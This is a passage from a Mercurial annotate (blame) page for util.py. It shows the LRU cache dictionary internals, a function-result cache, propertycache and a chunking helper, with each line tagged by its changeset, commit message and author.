1573 key, value = n.key, n.value |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1574 |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1575 # And remove it from the cache and mark it as empty. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1576 del self._cache[n.key] |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1577 self.totalcost -= n.cost |
39566
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1578 n.markempty() |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1579 |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1580 return key, value |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1581 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1582 def _movetohead(self, node): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1583 """Mark a node as the newest, making it the new head. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1584 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1585 When a node is accessed, it becomes the freshest entry in the LRU |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1586 list, which is denoted by self._head. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1587 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1588 Visually, let's make ``N`` the new head node (* denotes head): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1589 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1590 previous/oldest <-> head <-> next/next newest |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1591 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1592 ----<->--- A* ---<->----- |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1593 | | |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1594 E <-> D <-> N <-> C <-> B |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1595 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1596 To: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1597 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1598 ----<->--- N* ---<->----- |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1599 | | |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1600 E <-> D <-> C <-> B <-> A |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1601 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1602 This requires the following moves: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1603 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1604 C.next = D (node.prev.next = node.next) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1605 D.prev = C (node.next.prev = node.prev) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1606 E.next = N (head.prev.next = node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1607 N.prev = E (node.prev = head.prev) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1608 N.next = A (node.next = head) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1609 A.prev = N (head.prev = node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1610 """ |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1611 head = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1612 # C.next = D |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1613 node.prev.next = node.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1614 # D.prev = C |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1615 node.next.prev = node.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1616 # N.prev = E |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1617 node.prev = head.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1618 # N.next = A |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1619 # It is tempting to do just "head" here, however if node is |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1620 # adjacent to head, this will do bad things. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1621 node.next = head.prev.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1622 # E.next = N |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1623 node.next.prev = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1624 # A.prev = N |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1625 node.prev.next = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1626 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1627 self._head = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1628 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1629 def _addcapacity(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1630 """Add a node to the circular linked list. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1631 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1632 The new node is inserted before the head node. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1633 """ |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1634 head = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1635 node = _lrucachenode() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1636 head.prev.next = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1637 node.prev = head.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1638 node.next = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1639 head.prev = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1640 self._size += 1 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1641 return node |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
1642 |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1643 def _enforcecostlimit(self): |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1644 # This should run after an insertion. It should only be called if total |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1645 # cost limits are being enforced. |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1646 # The most recently inserted node is never evicted. |
39569
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1647 if len(self) <= 1 or self.totalcost <= self.maxcost: |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1648 return |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1649 |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1650 # This is logically equivalent to calling popoldest() until we |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1651 # free up enough cost. We don't do that since popoldest() needs |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1652 # to walk the linked list and doing this in a loop would be |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1653 # quadratic. So we find the first non-empty node and then |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1654 # walk nodes until we free up enough capacity. |
39570
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1655 # |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1656 # If we only removed the minimum number of nodes to free enough |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1657 # cost at insert time, chances are high that the next insert would |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1658 # also require pruning. This would effectively constitute quadratic |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1659 # behavior for insert-heavy workloads. To mitigate this, we set a |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1660 # target cost that is a percentage of the max cost. This will tend |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1661 # to free more nodes when the high water mark is reached, which |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1662 # lowers the chances of needing to prune on the subsequent insert. |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1663 targetcost = int(self.maxcost * 0.75) |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1664 |
39569
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1665 n = self._head.prev |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1666 while n.key is _notset: |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1667 n = n.prev |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1668 |
39570
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1669 while len(self) > 1 and self.totalcost > targetcost: |
39569
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1670 del self._cache[n.key] |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1671 self.totalcost -= n.cost |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1672 n.markempty() |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1673 n = n.prev |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1674 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1675 |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1676 def lrucachefunc(func): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1677 '''cache most recent results of function calls''' |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1678 cache = {} |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
1679 order = collections.deque() |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1680 if func.__code__.co_argcount == 1: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1681 |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1682 def f(arg): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1683 if arg not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1684 if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
1685 del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1686 cache[arg] = func(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1687 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1688 order.remove(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1689 order.append(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1690 return cache[arg] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1691 |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1692 else: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1693 |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1694 def f(*args): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1695 if args not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1696 if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
1697 del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1698 cache[args] = func(*args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1699 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1700 order.remove(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1701 order.append(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1702 return cache[args] |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1703 |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1704 return f |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1705 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1706 |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1707 class propertycache(object): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1708 def __init__(self, func): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1709 self.func = func |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1710 self.name = func.__name__ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1711 |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1712 def __get__(self, obj, type=None): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1713 result = self.func(obj) |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1714 self.cachevalue(obj, result) |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1715 return result |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1716 |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1717 def cachevalue(self, obj, value): |
19951
d51c4d85ec23
spelling: random spell checker fixes
Mads Kiilerich <madski@unity3d.com>
parents:
19852
diff
changeset
|
1718 # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
19845
a1237a4b437d
repoview: make propertycache.setcache compatible with repoview
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
19461
diff
changeset
|
1719 obj.__dict__[self.name] = value |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1720 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1721 |
35014
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1722 def clearcachedproperty(obj, prop): |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1723 '''clear a cached property value, if one has been set''' |
40689
475921a3028c
py3: cast attribute name to sysstr in clearcachedproperty()
Yuya Nishihara <yuya@tcha.org>
parents:
40251
diff
changeset
|
1724 prop = pycompat.sysstr(prop) |
35014
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1725 if prop in obj.__dict__: |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1726 del obj.__dict__[prop] |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1727 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1728 |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1729 def increasingchunks(source, min=1024, max=65536): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1730 '''return no less than min bytes per chunk while data remains, |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1731 doubling min after each chunk until it reaches max''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1732 |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1733 def log2(x): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1734 if not x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1735 return 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1736 i = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1737 while x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1738 x >>= 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1739 i += 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1740 return i - 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1741 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1742 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1743 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1744 for chunk in source: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1745 buf.append(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1746 blen += len(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1747 if blen >= min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1748 if min < max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1749 min = min << 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1750 nmin = 1 << log2(blen) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1751 if nmin > min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1752 min = nmin |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1753 if min > max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1754 min = max |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1755 yield b''.join(buf) |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1756 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1757 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1758 if buf: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1759 yield b''.join(buf) |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1760 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1761 |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1762 def always(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1763 return True |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1764 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1765 |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1766 def never(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1767 return False |
724
1c0c413cccdd
Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents:
705
diff
changeset
|
1768 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1769 |
23495
b25f07cb5399
